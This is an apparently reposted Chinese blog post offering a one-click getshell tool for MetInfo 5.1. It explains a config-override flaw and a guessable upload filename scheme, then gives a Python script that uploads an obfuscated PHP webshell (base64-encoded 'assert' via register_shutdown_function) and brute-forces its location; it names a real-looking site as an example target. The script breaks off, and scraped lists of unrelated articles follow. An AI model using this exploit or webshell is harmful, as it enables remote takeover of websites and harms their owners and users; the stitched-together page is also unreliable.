title: MetInfo V5.1 GetShell一键化工具
date: 2016-06-08 22:40:32
categories: Hacker
tags:
- Hacker
- Tools
---
----------
# 漏洞解析:
----------
**config/config.inc.php**
```php
$langoks = $db->get_one("SELECT * FROM $met_lang WHERE lang='$lang'"); if(!$langoks)die('No data in the database,please reinstall.'); if(!$langoks[useok]&&!$metinfoadminok)okinfo('../404.html'); if(count($met_langok)==1)$lang=$met_index_type; $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";//看这里 $result = $db->query($query); while($list_config= $db->fetch_array($result)){ if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value'])); $settings_arr[]=$list_config; if($list_config['columnid']){ $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; }else{ $settings[$list_config['name']]=$list_config['value']; } } @extract($settings);
```
----------
<!--more-->
访问 http:///localhost/metinfo5.1/index.php?lang=metinfo `SELECT * FROM met_config WHERE lang='metinfo' or lang='metinfo'` ----------
## 文件命名方式:
----------
**/feedback/uploadfile_save.php**
```php
srand((double)microtime() * 1000000); $rnd = rand(100, 999); $name = date('U') + $rnd; $name = $name.".".$ext; ```
**文件保存在/upload/file/目录** 命名方式就是时间戳去掉后三位,紧接着一个三位数的随机数 可爆破: 如 http://127.0.0.1/upload/file/1465394396.php ---------- # 一键化利用工具: ---------- **本程序基于python编写** ```python
#!/usr/bin/env python
#-*- coding: utf-8 -*- import requests
import Queue
import threading
import time
import sys headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.10 Safari/537.36'} urls = Queue.Queue()
#http://hb.jhxjd.com/upload/file/1441445378.php def bp(urls,time_out):
while not urls.empty():
base_url = urls.get()
response = None try:
time.sleep(int(time_out))#延时设置
response = requests.get(base_url,headers=headers)
if response.status_code == 404:
print 'Not Fount----%s ' % base_url
except:
continue
finally:
if response:
with open('url.txt','a+') as f:
f.write('%s?e=YXNzZXJ0 '%base_url) def main(target_url,thread_num,time_out): #取出当前时间戳并删除后四位
now = str(int(time.time()))[:-4] #将所有的待爆破地址遍历并加入队列
for i in range(0,10):
for j in range(100,1000):
num_str = ''.join((str(i),str(j)))
url = ''.join(('%s/upload/file/%s' % (target_url,now),num_str,'.php'))
urls.put(url) #上传文件
with open('xiaoma.php','w+') as fi:
fi.write("<?php $e = $_REQUEST['e'];register_shutdown_function(base64_decode($e), $_REQUEST['Akkuman']);?>")
data = {
'fd_para[1][para]':'filea',
'fd_para[1][type]':''
}
files = {'filea': open("xiaoma.php", 'rb')}
upload_url = '%s/feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo' % target_url
res = requests.post(upload_url,data = data,files=files)
#等待两秒 文件上传
time.sleep(2)

---转载

hacktech.cn|53xiaoshuo.com

MetInfo 5.1 自动化getshell工具的更多相关文章

  1. 项目自动化建构工具gradle 入门5——在intellij中做一个gradle的web工程

    之前的几个小节,都是纯手工建文件夹,纯手工拷贝war包,或者纯手工解压个zip看看结果,,,,这还是我写了玩的helloWorld.若是玩大工程.几十个人的团队协同开发时,这么玩,,,,暴躁的程序员估 ...

  2. 项目自动化建构工具gradle 入门4——javaWeb在浏览器中显示helloWorld

    在java应用中,其实做的最多的还是java web应用.所以现在我们做的就是用gradle构建一个简单的web项目,简单点,直接上代码吧. 1.进入目录D:\work\gradle\web,新建文件 ...

  3. 项目自动化建构工具gradle 入门3——生一个exe的helloWorld

    前两次呢,我们能够用一个外部的jar 来实现输出helloWorld.但问题是我每次都要用java -jar 来执行,这样我们自己玩还可以,让用户玩就不好了.所以我们生成一个exe给他们吧.这次我们仍 ...

  4. 项目自动化建构工具gradle 入门0——环境 & 废话

    gradle 是一个项目自动化构建工具.同类的产品还有ant ,maven等等.相比之下我更喜欢gradle,它语法简洁.兼容maven.ide集成很好. 学习使用gradle最快的方式是看文档,而且 ...

  5. 项目自动化建构工具gradle 入门2——log4j输出helloWorld

    上一章节呢,有一个能跑的程序了.但是对做工程的人来说,用日志输出感觉比用System.out要有档次一点.比如使用log4j.直接上例子: 1进入D:\work\gradle\log目录  ,您电脑没 ...

  6. gulp自动化构建工具

    gulp    自动化构建工具,实时监控.代码合并.压缩... http://www.gulpjs.com.cn/     中文网 http://gulpjs.com/plugins/     英文网 ...

  7. 前端自动化构建工具gulp的使用总结

    前端自动化构建工具gulp的使用总结 博主最近偶的空闲,在此对gulp的使用做一个总结,让小伙伴知道如何合理的使用gulp以及gulp的使用技巧. 谈到gulp,有人可能就会想到另外一个构建工具gru ...

  8. paip.基于navicate mysql的自动化报表工具总结

    paip.基于navicate mysql的自动化报表工具总结 需要对信用卡数据分类统计.显示一个饼图... 用EXCEL比较麻烦,一旦数据库变动就要重新导出..使用PHP代码吧,还是比较麻烦,最好是 ...

  9. 前端开发自动化工作流工具,JavaScript自动化构建工具grunt、gulp、webpack介绍

    前端开发自动化工作流工具,JavaScript自动化构建工具grunt.gulp.webpack介绍 前端自动化,这样的一个名词听起来非常的有吸引力,向往力.当今时代,前端工程师需要维护的代码变得及为 ...

随机推荐

  1. [LeetCode] Count of Smaller Numbers After Self 计算后面较小数字的个数

    You are given an integer array nums and you have to return a new counts array. The counts array has ...

  2. [LeetCode] Largest Rectangle in Histogram 直方图中最大的矩形

    Given n non-negative integers representing the histogram's bar height where the width of each bar is ...

  3. angular js 在ie11 下的get请求缓存问题的解决办法

    使用angularjs 1.x开发的应用在ie11 下回碰到各种怪异的情况:一般表现在:卡,慢,丑. 还有另外一种情况,就是:get请求被缓存,导致页面数据没有刷新.今天我们就来解决这个问题. 几行代 ...

  4. ajax处理缓冲问题

    1.禁止页面缓存 header("Cache-Control:no-cache"); header("Pragma:no-cache"); header(&qu ...

  5. 使用SVG图像作为loading加载 以保证图像高清不模糊

    使用教程 接下来设计达人网小编为大家讲解这个使用方法,其实是相当简单的. STEP 1: 复制你想要的SVG加载动画代码到<body>里面,小编随意复制一个代码如下:<svg ver ...

  6. Android之什么是Activity和常用的ADB命令以及Android项目结构的认识

    总结一下之前学习Android的一些内容 一:  Android常用的ADB命令(adb android调试桥)      1.adb devices   查看模拟器设备并重新连接. 2.adb ki ...

  7. 每日一记-mybatis碰到的疑惑:String类型可以传入多个参数吗

    碰到一个觉得很疑惑的问题,Mybatis的parameterType为String类型的时候,能够接收多个参数的吗? 背景 初学Mybatis的时候,看的教程和书籍上都是在说基本的数据类型如:int. ...

  8. Jquery获取offsetHeight

    纯javascript: window.document.getElementById('MainColumn').offsetHeight jquery: $('#id').get(0).offse ...

  9. Linux 文件压缩与归档

    .note-content { font-family: "Helvetica Neue", Arial, "Hiragino Sans GB", STHeit ...

  10. CocoaPods升级,升级以后出现bug的解决方法(升级必看!)

    命令行更新(安装)步骤[更新步骤] $ sudo gem update --system // 先更新gem,国内需要切换源 $ gem sources --remove https://rubyge ...